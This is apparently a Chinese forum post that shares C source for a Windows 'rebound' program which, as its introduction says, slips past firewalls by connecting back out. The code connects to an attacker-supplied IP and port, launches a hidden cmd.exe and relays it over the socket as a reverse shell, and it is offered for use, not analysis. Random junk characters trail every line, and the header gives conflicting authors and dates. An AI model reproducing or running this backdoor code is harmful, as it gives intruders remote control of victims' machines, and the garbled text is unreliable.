这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yyljyE
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/* ============================== "^6Fh"]
Rebound port in Windows NT jd-ccnR l
By wind,2006/7 o+}k$i!6
===============================*/ KUYwc@si\
#include =f
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#include &PRoT#,
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#pragma comment(lib,"wsock32.lib") h2T\%V_j
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void OutputShell(); /{`"X_.o
SOCKET sClient; &.?E[db"h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tm5)x^7
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void main(int argc,char **argv) |u?VlRt
{ _"B.V(
WSADATA stWsaData; xl`AiO `K
int nRet; zs Q|LwQ
SOCKADDR_IN stSaiClient,stSaiServer; {icTfPR4E
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if(argc != 3) bA,Zfsr6#
{ mi<Q3;m
printf("Useage:\n\rRebound DestIP DestPort\n"); X*@ tp,t
return; jzJTV4&zjs
} mN}szW,
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WSAStartup(MAKEWORD(2,2),&stWsaData); 18sc|t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5 | , b
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stSaiClient.sin_family = AF_INET; L55UeP\
stSaiClient.sin_port = htons(0); S}VS@KDO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3~tu\TH6d
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (1[59<cg]
{ FMeBsI9pL
printf("Bind Socket Failed!\n"); Wj^e)2%
return; El5} f4sl
} K2yNIq_
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stSaiServer.sin_family = AF_INET; c?HUW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M)+p H
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^_|kEvk0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =/46;844T
{ vuPNru" 2
printf("Connect Error!"); W6i{yneW
return; CUI+@|]%
} NT*r7_e
OutputShell(); =oSd M2
} K us=.(
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void OutputShell() x+Xd7N1
{ XP?jsBE
char szBuff[1024]; 0?>(H(D^/
SECURITY_ATTRIBUTES stSecurityAttributes; |A'I!Jm
OSVERSIONINFO stOsversionInfo; H,L{N'[Xph
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \(P?=] -
STARTUPINFO stStartupInfo; Icrnu}pl_
char *szShell; N7J?S~x
PROCESS_INFORMATION stProcessInformation; )xyjQ|b
unsigned long lBytesRead; %r(WS_%K|
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5\b GCf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D;V[9E=g/
stSecurityAttributes.lpSecurityDescriptor = 0; }psRgF
stSecurityAttributes.bInheritHandle = TRUE; e9KD mX_
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K'r;#I|"J
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l(sVnhL6h
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #mu L-V
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tn'Jkwp
stStartupInfo.wShowWindow = SW_HIDE; ,<tJ`,0X
stStartupInfo.hStdInput = hReadPipe; 6I@j$edZ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k(dakFaC^
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GetVersionEx(&stOsversionInfo); i)z|=
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switch(stOsversionInfo.dwPlatformId) WZNq!K H
{ f+ceL'fr
case 1: 8-nf4=ll
szShell = "command.com"; c("|xe
break; oM~y8O
default: jn V=giBu
szShell = "cmd.exe"; |g 3:+&
break; b/z-W`gw
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); c,2& -T}
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send(sClient,szMsg,77,0); tf~B,?
while(1) 1z-.e$&z
{ o?Hfxp0}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~U&NY7.@
if(lBytesRead) AYA{_^#+3
{ ,D+ydr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !lgL=Ys(
send(sClient,szBuff,lBytesRead,0); #,d~t
} ls
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else uPz+*4+
{ ;9T}h2^`B
lBytesRead=recv(sClient,szBuff,1024,0); %f1%9YH
if(lBytesRead<=0) break; /]TNEU,K
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &ry*~"xoh
} neI7VbH4
} |qUGB.Q
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return; ~ 1h#
}